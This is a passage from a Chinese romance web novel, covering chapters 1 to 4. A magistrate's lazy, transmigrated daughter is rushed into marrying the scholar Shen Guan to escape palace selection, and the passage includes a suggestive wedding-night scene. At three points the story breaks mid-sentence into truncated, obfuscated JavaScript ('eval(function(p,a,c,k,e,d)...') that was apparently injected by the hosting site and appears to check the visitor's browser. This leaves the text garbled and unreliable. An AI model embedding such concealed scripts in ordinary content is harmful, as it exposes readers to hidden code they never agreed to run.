《病娇探花阴湿爱》 1. 第 1 章 快要霜降了,又赶上连绵的雨季,天气也愈发的转凉,姜清杳就更懒洋洋地不爱出门。 院子里的小丫鬟出去采买银炭回来,几个人合力提了一大筐,往屋门口砰啷一放,就兴冲冲地开始分享今日见闻。 你一言我一语的,小丫鬟们叽叽喳喳。 “回府的时候,咱们府门口那台阶也忒高了,隔壁沈秀才从书院散学回来,见我们几人提不动,就上前帮忙,只单手就将这筐银炭拎上来了!” 因着自家小姐怕冷,每年到这个时候,县令府里一向是往多了采买,这一大筐银火炭,少说说也有六七十斤重。 “而且拎的很轻松呢。不仅心地好,更生得俊,比画上的人还像神仙哩。” 小丫鬟瞄瞄屋门口,又补充:“比雪片糕还白!” “嗯嗯!”采买的小丫头都才十岁左右,馋嘴的很。一旁几个小丫头一听,煞有介事的回想了下,也跟着肯定的点点头。 屋里的大丫鬟听见门外的动静,出来正巧听了对话,笑骂她们:“什么画上的神仙,我看你们是嘴馋了,快跑远些去玩,莫吵了小姐睡觉。” “小姐都睡了一天啦!”几个小丫头吐吐舌头,赶在芸香敲她们脑瓜崩儿前溜的远远了。 芸香又好气又好笑,取了一些银炭,掀开厚厚的毛毡帘。 甫一进屋,就是和外边截然不同的暖烘烘,屋里生了地龙,舒服极了。 芸香快步走至里屋,就见姜清杳已经醒了。 少女眉目如画,肤若凝脂,散落的乌发如绸缎一般,披散在肩背之后。姜清杳抱着被子靠坐在床头,白皙的小脸上犹有绯红睡痕,打了个哈欠问:“外面说什么呢?” 芸香一边将刚才丫鬟们的对话复述一遍,一边往床边立着的绿釉狻猊暖炉里加银炭。 “也就是小姐平日太纵着她们,宠的几个小丫头都敢编排您了。”另一个大丫鬟半夏在一旁听了捂嘴笑。 姜清杳听完,捧着脸笑眯眯的,漂亮的眼弯得像月牙儿。颇爽快地小手一挥:“那就让厨房做些雪片糕给她们吃。” 这话一出,芸香和半夏用一种果不其然的神情对视一眼。几个小丫鬟便是这样被惯得快上树掏鸟窝了。 姜清杳来到这个朝代已经十六年,许多关于前世的记忆渐渐模糊,只有偶尔睡梦中才会回想起惊醒出一身冷汗。 前世一次意外,醒来时便成了大庆朝抚阳县令刚出生的独女。 抚阳县令姜忠元的发妻头胎难产,连带着刚出生的小婴儿脸上也泛着缺氧的青紫。产婆抱在怀里各种办法都试了,正准备和悲痛欲绝的姜县令宣告噩耗,怀里的婴儿有感应似的响起了嚎啕大哭。 姜清杳在姜县令的眼皮子底下有了生机,从此这根独苗苗便是姜县令的心头肉,掌上明珠,千娇百宠着,不求她有什么作为,只盼着她平安长大就好。 而姜清杳也没想到一朝穿越,不仅有了疼爱她的父亲,还住着三进三出的大宅子,平日里丫鬟小厮环绕成群的伺候,这是前世她做梦都不敢想的一切。 姜清杳胸有大志,撸起袖子决定好好躺平。 做一条晾晒均匀的咸鱼。 左翻是吃遍所有美食,右翻是穿遍当下时兴的绫罗绸缎,横过来是每天睡到自然醒,竖过来是……不,不能竖过来,她要躺平,要做一条无所事事的咸鱼。 但咸鱼也有咸鱼的烦恼。 这天姜县令从衙门回来,愁容满面的,负着手在厅堂里来回踱步。 姜清杳收了传讯儿赶来时,少女纤长窈窕的身影款步迈入,里面穿了件豆绿浅金缎面交领的马甲,外面披了件折枝刻青镶了兔毛的小斗篷,手上还抱着个素纹铜手炉。 姜县令看着女儿一日日出落得漂亮,即便是幼时底子虚,如今却也调养的脸蛋白里透红,气血十足的健康样子。 往日里都是高高兴兴,今天见了姜清杳,却反常的叹口气。 姜清杳凑近一瞧,稀奇道:“咦,这是碰上什么烦心事儿了?” 姜县令摇头加叹气:“还不是你的婚事。” 一听是这事,姜清杳就不着急搭腔了,拉着她爹往那儿一坐,殷勤的捏肩敲背,笑吟吟的:“这事儿有什么急的,女儿还想多陪您几年。” 来姜府提亲的人早两年就要踏破了门槛,都想着能早些定下来。 姜清杳已经及笄了,虽然往外露面的少,但见过她的无一不是称赞有加,媒婆介绍起来都说县令家的姑娘仙姿佚貌,性情温柔,举止优雅,是大家主母风范,渐渐地美名在外。 姜清杳第一次听到这介绍人的话时,一口茶都险些喷出来。 仔细一问,媒婆说见过一次姜清杳在春日宴上,冒失的小丫鬟打翻了一地糕点酒水,险些弄脏了她的衣裙,姜清杳只笑着说无事也没怪罪,和众人先行告别回府,离开的时候,莲步微移,行走间繁复衣裙不沾一丝脏污,可不就是性情温柔,举止优雅吗? 实际上,是姜清杳早倦了这场宴,疲于应付。 可姜县令家没有旁的女眷,自发妻亡后再未续弦,许多官场社交上的打点结交,就都借着设了宴下帖来邀请县令家嫡女的方式,拐着弯抹着角的把态度透过姜清杳来告诉姜县令。 送贿赂的方式更是只有想不到,没有那些人做不到。 姜清杳困顿的眼皮都睁不开了,想回府睡觉,才偷偷吩咐了小丫鬟出此下策,至于那日穿的衣裙,可是新做的正时兴着的杭绸月华裙,贵着呢,哪舍得弄脏一点,不得不像个老乌龟一样挪啊挪的走。 她把这事和姜县令一说,圆亮的眼瞳滴溜溜的转,添油加醋一番:“爹,清杳平日是什么懒散样子,您都说了不下百次了您还不知道吗?这些人却巧嘴说花话,指定是想着靠上县令好作威作福呢。” “这样儿的人家,定不是真心求娶的,若真嫁了,那到时候可就受苦都没处喊了。” 哪就有那么夸张呢,但姜清杳再眼巴巴的看着她爹,手一掐大腿,掉两滴泪下来。 双管齐下,给姜县令心疼坏了。 他就这一个女儿,自然是盼着千好万好,再翻一翻原本还觉着不错的那些上门提亲的青年子弟名册,就觉得哪哪都不满意了。 这个不行,长得不够俊俏,贼眉鼠眼看着不正派。这个学业不好,二十好几都没半个功名傍身。这个又太矮了,那个青年长相倒是端正,年纪也合适,但姜县令撞见过他爹寻花问柳,可算的上是家风不正,万万不行。 老父亲愁白了头,觉得哪个都配不上女儿,名册越来越薄,还没挑到满意的女婿,正想着不急,多留女儿两年,便是来日招赘也使得。 可今日顶头上司下来巡访,话里话外都在暗示他。 大庆朝有上百州府,每个州府下都有数个直辖管理范围的县,其中抚阳县就隶属于太襄州府。太襄州府地域广袤,大部分县镇都算得上富饶,唯独抚阳县因着地处两山交界,地域崎岖,就连官道也修建艰难,交通不便,普通人若无车马很难通行,也就少有商贩移民往抚阳县里迁,大都是迁出去的,久之,也就成了太襄州府最落后偏僻的一个县了。 现任太襄州府的知府娄乐山来巡访就拉着姜县令说:“哎呀,老姜,我看你在县令位置待了挺久,也没升职,眼看着宫里就要为皇上选秀,上次我和夫人来抚阳县你在府上不是设了宴吗?” “我听夫人说,恰巧遇见过令爱,堪称国色,有没有考虑进宫选秀啊。若是成了,太襄州府出了位娘娘,不只是我,连带着你也有官升啊。”娄知府捋着胡须,笑眯眯的样子。 姜县令一把年纪了,要说没图过升职是不可能的,但他更不可能把女儿往火坑里推。 丞相那样的三公九卿的女儿去了宫里,那是未来皇子皇孙的生母祖母,去享福留名的。 可穷乡僻壤县令的女儿去了,那宫里就是吃人的地方,骨头都不一定吐还给他呢。 面对着顶头上司的压力,姜县令只能含糊一番:“承蒙夫人厚爱,可知府您二位有所不知啊,小女幼时难产而生,险些闭了气,虽是谢天谢地活了过来 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这谎已经撒了出去,却上哪儿去给姜清杳弄一门娃娃亲呢。 姜县令翻翻那本提亲册子,抚阳县里年纪适当的青年早被他挑剔来挑剔去的回拒完了。 只剩下一人。 姜清杳好奇的问:“谁?” “隔壁那沈秀才沈观。” 说起沈秀才,那可神奇了,这是姜清杳不止一次且不局限于她爹,她二姨三姑,她几个闺中密友,还有院子里的丫鬟们的口中听过,自己却还从未见过面的人。 大约是几年前搬来的,一进来就翻新了隔壁荒废了好久的府邸。姜清杳当时还问她爹,隔壁这么大的宅子,应该也是个什么官的旧府宅邸吧。 她爹只含糊说原来是,现在没落了。这是后辈迁过来住了。 至此后,县令府隔壁多了个沈观,来了没多久就占着抚阳县的推举名额考中秀才,上了抚阳县最好的衡阳书院。 听书院里的学生传,书院几个老师都对他寄予厚望,要让他明年下场考乡试。 姜清杳虽没见过这人,可从旁人耳朵里都听全了。 姜县令越想越满意,大掌一拍。这沈观沈君珩,学问好,长得好,个子也高,住的还近,先前怎么没想到呢? 对啊,姜清杳也问:“先前怎么没想到呢?” 姜县令摸摸鼻子:“这不是嫌他家里没落了,一穷二白吗?” 嗬,感情还是看门第。 “不过不要紧。”姜县令摆手道:“院试时我监考过他,以沈观的学问能力,重整门楣是早晚的事,此子将来必定大有可为!” 姜县令回想起沈观一身气度,俊美少年在一众咬笔挠头的考生中沉着下笔的场景,真是越想越满意,属实是鸡群中的鹤让他给挑中了。 姜清杳笑眯眯的,发出灵魂一问:“既然这么有前途,咱们想嫁人家也未必娶呀。” 姜县令沉默了。 他转头上下打量姜清杳。 优点……优点是,嗯,优点是吃饭吃的香。从小到大都没让他操过心,每天变着花样的点菜,也不挑食。至于琴棋书画什么的,样样不精就不提了。 生活习惯嘛,更是丢三落四,用过的东西永远不放回原位,来他书房吃茶看书,也能落下块咬了一半的糕点,等姜县令发现的时候,都硬的成石头了。 再一想沈观的那些传闻,是个十成十的完美主义强迫症,东西都要成双成对,摆放整齐,君子六艺,无一不精,课业学问更是不用说。 姜县令沉默许久,再看看一旁又开始没骨头似儿的瘫在黄花梨透雕圈椅上惬意嗑瓜子的姜清杳。 算了,还是先不说了,瞒着,等婚事定下来再说。 合不合的来,再不济也住在隔壁呢。 他吞下这些话,严肃起来:“明日我就去找他老师说道说道。” 呦,这是要逼婚啊。 姜清杳看起热闹来。 2. 第 2 章 衡阳书院的老师也曾是姜县令的老师,看昔日得意学生一把年纪了还在他面前抹眼泪流鼻涕,怪嫌弃的,指指一处竹屋说:“沈观在那里面读书,等他出来让你聊两句,切记不可逼迫于他。” 毕竟一个未来可能让他桃李满天下的年轻学生,和一个已经没什么仕途前程的老学生。 书院老师理所当然的向着沈观,势利眼嘛,他们文人也是有的,优秀的学生就是心头宝。 而且沈观比起姜县令,更有个长相俊的优势。长得俊,未来若是进了殿试,保不齐就被点成探花郎呢。 毕竟当今皇帝是颜控。出了名的。 何况在大庆朝考举人,那每个州府都是有名额的,未来考进士,为了那进京的名额更是抢破了天,沈观家道中落没什么可倚靠,就连搬回抚阳县,也是因为原先住的溪金县关系户太多了,连府试的推选名额都被抢了。 可若是和县令女儿结了亲,那还怕什么关系户。 书院老师心里贼兮兮的为他年轻有前途的学生打算着。而姜县令则怕夜长梦多,女儿进宫选秀,那脑子没几日就活不了了。 两个人各有算计,各有图谋。 等到沈观一出来,便齐齐扑上去,一左一右抓住少年的手臂,吵着就把这事儿说了。 这边姜县令对着他右耳小声说悄悄话,说是沈观啊我知道你为什么来抚阳,你要是答应我可以给你好处啊,那边书院老师也对着他左耳说悄悄话,说傻小子啊快应下,再不怕关系户抢名额了。 两边一齐说,吵得沈观头都疼了,耳朵里像有蚊虫在叫。 他把两人一推。 沈观神色镇定,确认问道:“结亲,姜县令家的独女姜清杳?”他一字一顿说的很清晰。 姜县令没料到这反应啊,一时间呆呆点头,但还记得要吹嘘:“是啊,我女儿仙姿……”仙姿佚貌,温柔大方,优雅…… 一套准备好的赞美腹稿才起了个头,那边少年已经打断他:“好。” 姜县令和书院老师对视一眼,轮到他们俩挠挠耳朵摸摸头。 两人又齐声:“什么?” 沈观平静的重复:“我答应这门亲事。” “没什么别的事的话我先去上下一堂课了。” 少年抱着书就离开了,耳根通红。 另外两人却没注意到,都开始纠结起来。不是他怎么这么轻易就答应了? 姜县令想的是,这等轻浮之人,怎么配的上女儿?他都想好一万套说辞来夸姜清杳了,这人这么轻易就答应,会不会是有什么隐疾一直说不到亲,眼瞅着来了立马就答应,生怕亲事吹了又连忙跑了。 书院老师则愤愤,沈观啊沈观,平日里教你们的文人风骨要清高都读到狗肚子里去了,一听县令的女儿就要娶就答应了,亏老夫本来都想好了一万套劝说你这样结亲的好处了,结果你上赶着答应,怕煮熟鸭子飞了似得就跑是几个意思啊。 亲事订了,两人又各怀心思的分别。 回了府上,姜县令虽说是把心头悬着的大石给解决了,可越咂摸越不对味,连忙找了人去调查沈观。 结果线人汇报的资料无一不显示对方是个洁身自好,沈府书院两点一线的好青年。 嗯……可能是自己多心了。毕竟女儿多漂亮,若不是娄乐山那黑了心眼的要姜清杳去选秀,哪就有这么仓促呢。 姜县令看着女儿觉得哪哪都可爱,又陷入陶醉欣赏。 不愧是我女儿啊。 这点爱女之心,从姜县令发现第一个夹在书里的糕点碎开始消灭。 姜清杳被叫来乖乖抄书,顺便得知了一下自己的婚事已经订了。 她心再大,也不由有些惆怅,本是没想着在这样的古代能说服她爹不成婚的,但总觉得能拖个几年,却没想到这一天这么快,还是被强权裹挟着的,不得不尽快成婚的婚事。 真正的盲婚哑嫁,可若是进宫,姜清杳更愿意选这个。 好歹在隔壁不是。 姜县令看出女儿的失落,他疼女儿,关注女儿,怎么可能察觉不到姜清杳有时候流露出的想法呢,由着她说三说四,添油加醋都依着回拒了那些上门提亲的,也未尝没有看出来点意思的原因。 但官大一级压死人。 太襄州府的娄知府若要作这事,有大把冠冕堂皇且让姜县令抵抗不了的借口。 趁着现在还有可操作的空间,赶紧的把亲事定下来,都算幸事。 姜清杳不怎么出门,也没上过官场,不知道古代的官大一级有多压死人。 姜县令来了兴致,给未涉世的小女儿科普,科普着科普着一拍脑袋叫起来。 “哎呦,那黑心眼的一月还要来抚阳巡访,那时候万一想起来更糟,谁知道有没有变数?” “赶紧的,赶紧的,管事,管事,看看有没有就近的黄道吉日。” 姜清杳:“……” 县令大人,能不能多伤感一秒呢我说…… 姜县令才不管这么多,上衙门的时候都想着这事儿呢,茶不思饭不想的。 一天在衙门断了几个鸡毛蒜皮的小案子,快放衙的时候,来了个年轻妇人报案,说是放在家中的二两银子被贼偷了。 “裹在一块蓝布里,藏在床底下,原本是准备孩子上书院给先生的束脩,可今天我接了个帮李家夫人裁衣的活儿,挣了十个铜钱,回家想藏在一起,就发现那二两银子不见了。” 年轻妇人姓叶,手里还攥着那几个铜钱,那块旧蓝布扯的旧旧巴巴,也不知道找了多久。一双眼含泪,急匆匆的就来报了案。 “大人,求您帮我抓住那贼啊!” 她哭着,就去抓姜县令的衣服,扑通一下就要往地上跪。 一旁的县尉岳成济拦住她的举动,尚算温和道:“叶夫人,别急你慢慢说,你藏这钱的地方除了你可还告诉过别人?” 叶香椿冷静下来,仔细回忆:“没有,谁都没说过。” 她边说,衙门里负责记录的主薄在边上提笔记下。 “喔,我想起来了,我和我儿说过,这些是他的束脩。” 姜县令和岳成济对视一眼。县尉岳成济道:“那就是了,从你去李夫人家裁衣到回家统共两三个时辰,又藏得如此隐蔽,恐怕是熟人作案。” “叶夫人不妨回去问问他,可有将此事告诉过旁人?” “是,是,说的有理。我回去问问他。”叶香椿念念道。她说着便急匆匆的又想走。 姜县令喊住她,见她行走间一瘸一拐,衣裙上有尘土脏污和擦痕,便猜她是来报案的路上急得摔过一跤。 “令郎可是衡阳书院的学生叶杭?” 叶香椿停下脚步,姜县令解释:“他课业不错,衡阳书院的老师曾和我说对他寄予厚望。” 年轻妇人疲惫的眼亮了些,紧张的搓搓手:“那就好,那就好。这孩子也从不和我说学业的事。” “我知道你们住在长潞巷尾,刚巧我也要回去。” 顺路送了叶夫人回去,在对方的千恩万谢中离开。姜县令回府的时候,却见府门前站着一俊美少年,身姿挺拔,皎如玉树。 沈观上前来行礼。 姜县令打量他,心里满意,但面上不显,淡声问:“何事?进来说吧。” 进了厅堂,侍女上前端了糕点和茶水。 姜县令问他:“我让管事选好送去的吉日,你可过目了?” 沈观就是为了这事来的。 “都已过目,只是晚辈有一事相问。” 他敛眉,神色认真:“婚期如此紧迫,姜小姐是否知情?” 姜县令眯着眼打量他,沉默了一会儿,反问。 “知情你当如何?不知情你又当如何?” 岳父考验女婿第一问。 沈观缓缓道:“姜小姐若知情,自当按既定婚期完婚,结秦晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岳薇,是抚阳县尉岳成济的庶长女。她爹作为姜县令的直系下属,但权力却也不小。一直都是暗地里不服,日夜里都想着升职顶替姜县令但表面上恭敬无比的做派。 连带着岳薇也被他规诫的谨小慎微。 据岳薇所说,她爹每次在她来找姜清杳玩之前,都要念叨一遍。 “薇薇啊,爹在县尉这位置待了挺久了,这些年勤勤恳恳,可抚阳县太落后了,有升职也难轮到咱们,但越是这样,咱们越不能让人挑出错来,不然机会来了,也只能失之交臂啊。” 姜清杳咬着块糕点,接了下去:“爹不反对你和姜家小姐往来,只是你可别学了她一身懒惰习性,不然爹真是叫天天不应,叫地地不灵了。” 岳薇被她逗得捂着嘴笑,纤指点点她。 “你学我爹说话,学得越发像了。” 岳薇和姜清杳可以说是一对反义词,前者琴棋书画样样精通,仪态站姿都是比照着宫里的要求练。据她说他爹还特地请了个宫里退下来的老宫女教导她礼仪。 后者成日里没骨头似的,走哪靠哪,这不,又往人坐得端端正正的岳薇身上贴。 偏两人合得来,真合得来。 不像姜忠元和岳成济,面上功夫而已。 岳薇告诉她:“虽然仓促,但这不失为一桩好婚事。”她是知道内情的,姜清杳也没瞒着她。岳薇更知道姜清杳连沈观长什么样子都不知道,何来的自小订下的娃娃亲。 即便瞒也是瞒不住的。但姜清杳信任她,岳薇很高兴。 “我托几个家中有兄弟在衡阳书院读书的姐妹打听过了,这人没什么陋习,一心只读圣贤书,很老实呢。” 小女子岳薇从一旁掏出有她半人高,厚厚一大叠的资料,啪一下放在了茶桌上。 姜清杳咬着的糕点险些掉了,呃了半天,岳薇递过来杯茶水,姜清杳喝了口,糕点吃完了。 她眨巴两下眼,很捧场的鼓起掌:“那可真是太好了。” “小薇你真厉害,这么替我着想,你是我最最最最最最好的朋友!我要和你做一辈子的好朋友。” 姜清杳说起这些话来都不带停顿,捧着小脸,用那双亮亮的眼说一些甜死人的话,还在她脸上吧唧一口。 岳薇被她夸飘了,难得没计较她刚吃完糕点,揣着颗甜腻腻美滋滋的心,回去的路上都在想那几句话。 3. 第 3 章 岳薇离开后,姜清杳用过午膳又吃了糕点,吃太饱便犯困,准备小憩一会儿。 半夏和芸香抱着那厚厚一摞资料。 “小姐,这些放哪儿啊?” 姜清杳随手指了指堆杂物的箱笼。 两人放好后,又见姜清杳挣扎犹豫了一下,去里屋睡觉的路上艰难地停了下来。 然后说了芸香和半夏听了有些不敢置信的话。 “给我备笔墨纸砚。” 两个丫鬟面面相觑,一个掏了掏耳朵,一个看了看窗外的太阳打哪边起。 直到姜清杳说第二遍时,才连忙小跑着去准备。 由于这项业务在她们两个丫鬟生涯出现的频率实在不够高,导致两人生疏的耽误了一会功夫。 姜清杳沉默着看着面前的红笺纸和生灰的砚台。 没记错的话,红笺纸是用来写情书的吧?还有这砚台,怎么都生灰了? 但说起来很惭愧,姜清杳虽然穿越十六年,姜县令请的先生也不少,但迫于咸鱼的本质,她一手毛笔字可以媲美狗刨。 先生用竹条打手心也不好好练,气走了好几个先生。 姜县令遂放弃,看见女儿手心红痕更心疼的厉害,索性睁一只眼闭一只眼由着她用炭笔写字。 不学就不学吧。 姜清杳就这样快乐长大了。 但今天她要写的东西不一样。 比较正式,再用炭笔说不过去。 半夏就很好奇:“小姐要写什么正式的东西?” 姜清杳神神秘秘:“婚前协议!” 半夏问:“什么是婚前协议?” 芸香机灵一些,眼珠一转,便联想到了姜清杳的婚事。 “小姐要写给未来姑爷的?” 姜清杳肯定的点点头,两个丫鬟一听就来劲了,十倍认真的给她研墨,一边一个凑着看她写。 看了半天,狗刨字体太难辨认。 芸香疑惑:“昏前林…若为君子,和离后圆房?” “小姐,和离后怎么还要圆房啊!”半夏也看的一头雾水。 什么和什么啊! 姜清杳抓狂了,一字一句教。 “婚前协议,你我二人迫于外力仓促成婚,都非彼此所愿。若为君子,做表面夫妻不圆房,待事情风头过后,和离各自安好。” 姜清杳想的简单,小心翼翼地把这张红笺折好,只盼着明年选秀过后,一切恢复如常。 为此,成婚前夜,她还反复叮嘱了芸香半夏,要将这纸婚前协议放在她婚服内袖里。 姜清杳和沈观成婚这日,正值葭月二十二,是个难得的好天气。 姜县令治理抚阳县数十年,断案公正,许多事都亲力亲为,甚少有过差错,从未沉溺于酒池肉林,贪公吞私。 称的上品行端正,百姓都爱戴的好官。 抚阳县令的独女大婚,沿街的鞭炮声和红灯笼,是抚阳县的百姓们自发在家门前挂上的,所经之地,皆热热闹闹的送走了新嫁娘的抬轿。 喜轿从南安街过,随行的队伍敲锣打鼓着游城,一把一把的散着喜糖喜钱,最后往淞云巷尾出,在一片欢声祝福中进了沈府。 沈观的父母身体不好,腿脚不便。在溪金县没有能前来,为了表示对两人成婚的重视,遣人送了信礼来。信中言辞恳切,字字真心,说明了不能前来的理由。同时还写到,常听沈观提起抚阳县令治理有方,久仰大名。如今姜沈两家共结连理,是为大喜,不失为一段佳话。 随信一同来的,还有一队一眼望不到头的贺礼车马,系着红绸绑着彩,足有八十八抬之多。 因着姜府和沈府两家是毗邻的,沈家又无长辈操持,姜忠元大掌一拍,喜宴就干脆合并着办了。 在两府门前设了流水宴席,今天来者都是客。关系稍近些的,亲戚朋友,便邀进府里,设小宴款待。 拜过天地后,沈观跟着姜忠元给席客挨个敬酒,来往的宾客目光时不时的落在沈观身上。真真是君子如玉,行走间一身风仪,大婚着喜服的正红,更衬得少年面若冠玉。 沈观请了一些书院的同窗,都是一些读圣贤书的少年,宴席上更没有劝酒的,小酌两口已是极限,只不过都打趣他。 “君珩,平日里你两耳不闻窗外事,没成想却是我们几个中最先成家的那个。” 说话的人以茶代酒。 沈观但笑,自己斟了酒水回敬,白皙耳后不知是酒醉还是被同窗揶揄的,早已红了一片。 一直到暮色降下来,才迈入新房。 分明没什么人劝酒,可沈观一杯不落的都喝了。 他喝得有些多,步伐却不急不缓,屏退了左右,喜娘和丫鬟都退下将房门关上时,沈观才敢不加掩饰的望向端坐在喜榻边的姜清杳。 姜清杳能感觉到沈观的靠近,从喜娘们退下,屋里就一片寂静了。她等得都乏了,那人用一柄玉如意将绣双喜的红绸揭了上去。 眼前明亮起来,姜清杳却怔住了,轻咬了唇,很快掩饰般的移开眼。她万没想到沈观会是这样的风姿。 室内点着龙凤烛,少年微微倾身靠近,长睫投下一片阴影在眼下,他身上有淡淡的酒气,和昏黄的烛光一般让人不够清醒。 沈观替她取下繁美夯重的凤冠,上面垂着的金丝流苏掠过姜清杳的耳畔,一阵微凉后,又缠绕在少年骨节分明的指尖。 “抱歉,方才席间饮了不少酒。”沈观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那人却早有准备的递上一杯凉茶,由矮塌转而坐到姜清杳身侧,半拥着轻拍她后背。 姜清杳缓了缓,推开他的凉茶,立刻道:“你骗人。” 沈观也不恼,笑吟吟看她。 没有一会儿,舌尖泛起异样的甜,甘甜,是酒后回甘。 和饴糖的甜不同。很特别。 姜清杳咦了一声,又去抿琉璃杯中的酒。 小口小口,杯中饮尽了。 她还很稀奇。 琉璃杯很小,三分之二不过几口。 姜清杳往桌上望。 没见酒壶。 又望向沈观。 这回她又得仰视了。 沈观轻笑摇头:“饮酒伤身,小酌即可。” 姜清杳就这么喝完了原本不打算喝的交杯酒,她突然回过味儿来了。 若有所思。 沈观却不给她思考的时间。 “我一身酒气,先去沐浴。” 4. 第 4 章 姜清杳酝酿一晚上的话又落空。 她有心喊住沈观,将那纸红笺拿出来,可对方已经去了,且是个腿长个高的,她还没犹豫几秒,这人快走出二里地了。 侍女上前来替她卸了凤冠霞帔,换上寝衣。 半夏趁着这会儿功夫悄悄问:“小姐,姑爷好相处吗?” “嗯……应该算好相处吧。”姜清杳不太确定道。 分明看着是个如玉君子,可姜清杳说不上来哪不对劲。 姜清杳想起自己的红笺,希望他也能好说话。 沈观沐浴出来时,一眼望见喜榻上是两铺泾渭分明的被子。 姜清杳坐在那儿等他。 见他来了。 目光先在他身上游移了一瞬,闪烁着挪开。 沈观沐浴后一身水汽,眉目更柔和些,柔软的黑发沾湿在脸侧,单薄里衣松散系着,微敞的衣襟隐约可以窥见些腰腹。 “沈观,不知道我爹有没有和你说你我成婚的缘由。”姜清杳打算抛砖引玉。 沈观顿了下:“什么缘由?”他不说是不是有没有,只反问她。 姜清杳卡壳了。 “就是……”少女捏捏内袖里的红笺纸,酝酿不出来措辞,正想着要不直接拿给沈观看吧。 他应该能看懂她的字迹……吧。 “嗯?”沈观不紧不慢又问了遍,同时垂眸,修长指尖揉了揉额角,很不舒服的样子。 姜清杳注意力被吸引,盯着沈观微微苍白的唇看:“你怎么了?” “方才席间饮酒太多,有些不适。” 是了,岳薇找的那些资料,这人滴酒不沾的。 又见他单薄里衣。看着弱不禁风的。 “你先躺着吧。” 姜清杳让了个位置给他。 沈观不动,低声:“我惯常睡外侧。” 真麻烦。姜清杳不情不愿的爬了进去,捂进被窝的一瞬间,顿时什么也不想说了,只想睡觉。 好好睡一觉。 天知道她今天起的有多早,被多少丫鬟喜娘围着上妆试婚服。 而且不知道是什么样的贴心侍女,竟然还在喜被里放了汤婆子!! 被窝暖乎乎的。 姜清杳舒服的眼睛都眯起来了,像一只困觉的小猫。 她昏昏欲睡之际,身侧床榻微微凹陷的重量提醒了她身边还有一个人。 沈观侧身,单手支着下巴:“清杳,困了吗?” “嗯。”她整个人缩在被窝里小小一团,看也没看他一眼,懒懒嗯了声。 沈观安静了一会儿。 “清杳,我觉得我可能得热病了。额头滚烫得厉害。” 少年声音听着有些恹恹。 闻言,姜清杳困意消散,转头看他,沈观漂亮的脸上泛着异样的红,一双眼湿漉漉的,紧紧盯着她。 沈观朝她靠近一点,低下头。 姜清杳会意,迟疑着用手背试了试他额头温度。 “啊,是好烫呢。”姜清杳有些惊讶,“是方才受凉了吗?” 不止额头,沈观只是靠近了她一些,她便感觉到了他整个人都是滚烫的温度。 “请个郎中看一看吧。”她有些担忧。 沈观摇头。 姜清杳还要再说,少年倾身上来,轻碰了碰她唇。 并不反感。 柔软,干净,淡淡的冷香。 她懵住了。 沈观就趁此机会,握住她的手,从她指尖攀上去,和她十指相扣。 他拉着她的手,贴在自己的心口上,让她感受其间跳动,还有烫人的温度。 “这里也很烫。” 原本清越的声音喑哑的不像话。 姜清杳渐渐脸热起来,又抬眼,少年眉若远山,颊泛潮红,长睫垂下是乖顺的模样,可却在下一秒涩./情地含住她指尖,几秒温热,又吻上来。 浅吻转至深吻,身侧多了一人和她亲密无间。 姜清杳也没再说声不。她晕晕沉沉的,莹白纤指拽着沈观的衣带。 “清杳。”沈观解开她小衣,咬着她的耳垂喊她的名字。 轻咬。 一阵酥麻感从尾骨向上蔓延。 她在他怀里软成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唔……其实做真夫妻也不是不行。 姜清杳暗暗想。 下一秒,她才注意到沈观的眼神有些不对劲,搂着她腰的大手慢慢摩挲往上。 姜清杳低头发现自己竟然还是未着寸缕的,身旁的人倒是穿戴整齐、衣冠楚楚的样子了。 锦被随着她的动作往下,露出两团柔雪丰莹的弧度。 怪不得眼神不对劲儿呢! 姜清杳脸通红,一把拉过锦被盖过肩,颇有些羞恼的看向沈观:“唤我的侍女来,我要起身穿衣。” 言下之意,请你回避。 沈观闻言,倒是乖觉地起身了,姜清杳看一眼床头,没见到自己昨晚穿的那件寝衣。 连忙喊住他:“沈观,你……” 少年回头看她,见她东张西望的,不由得似笑非笑:“找什么?” 姜清杳佯装镇定:“你昨晚把我的寝衣放哪里了?” 与其说是放哪儿,不如说是脱哪去了。 姜清杳现在还记得,昨晚被他亲的晕晕乎乎,不知不觉间衣带渐松,肌肤相贴着抱在一块儿了。 那件衣服内袖里放在姜清杳写好的婚前协议。 沈观也知道,本想逗一逗姜清杳。但他看一眼姜清杳泛红的耳廓,还是决定循序渐进,半真半假道:“你的侍女收起来了。” 那就好。 姜清杳松口气。 等半夏和芸香进来,捧着一套崭新的衣裙,服侍姜清杳换上。 自然也看到了姜清杳雪白肌肤上的点点红痕。 两人脸热起来,埋头给姜清杳穿衣,听到姜清杳问那张红笺,半夏终于疑惑道:“那件衣服内袖里没有那张红笺。” 姜清杳蹙眉:“不见了?” 芸香道:“是啊,我们还以为小姐已经给姑爷看过了,姑爷不同意呢。” 毕竟两人已经圆房了。 姜清杳呃了半天,支支吾吾,含糊说:“差不多吧,没了就不找了。” 她不再纠结这个问题,摸摸肚子,梳洗过后,不施一点脂粉,便要用早膳。 沈府虽然和姜府两隔壁,但内里构造并不太一样,姜清杳走过长廊才到了用早膳的前厅,比起姜府麻烦许多。 姜清杳到的时候,沈观已经在这儿等了她一会儿。 见她来了,走过来拉住她的手,让她坐在自己身边。 沈观指指桌上的菜:“清杳,有没有你爱吃的?没有的话我让厨房再做。” 姜清杳正想要悄悄收回自己的手,闻言放眼看去,顿时心里惊呼好家伙。 一个早膳而已,便上了十八道菜肴。 沈观这么奢侈吗,姜清杳记得她爹说沈家已经没落了。 莫非是沈观为了撑面子? 姜清杳想起姜县令不久前接到的叶香椿丢失束脩报案的事,最后查出来,那二两银子是被叶香 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就连昨晚,也都是沈观一人替姜清杳擦洗换衣,不要半夏和芸香插手。 姜清杳表示理解沈观这样自律还精力旺盛的人的惊讶,但她也坚持自己道:“我还困着。” 沈观眨眨眼,跟上:“那我同清杳一起。” 姜清杳:“?” 6. 第 6 章 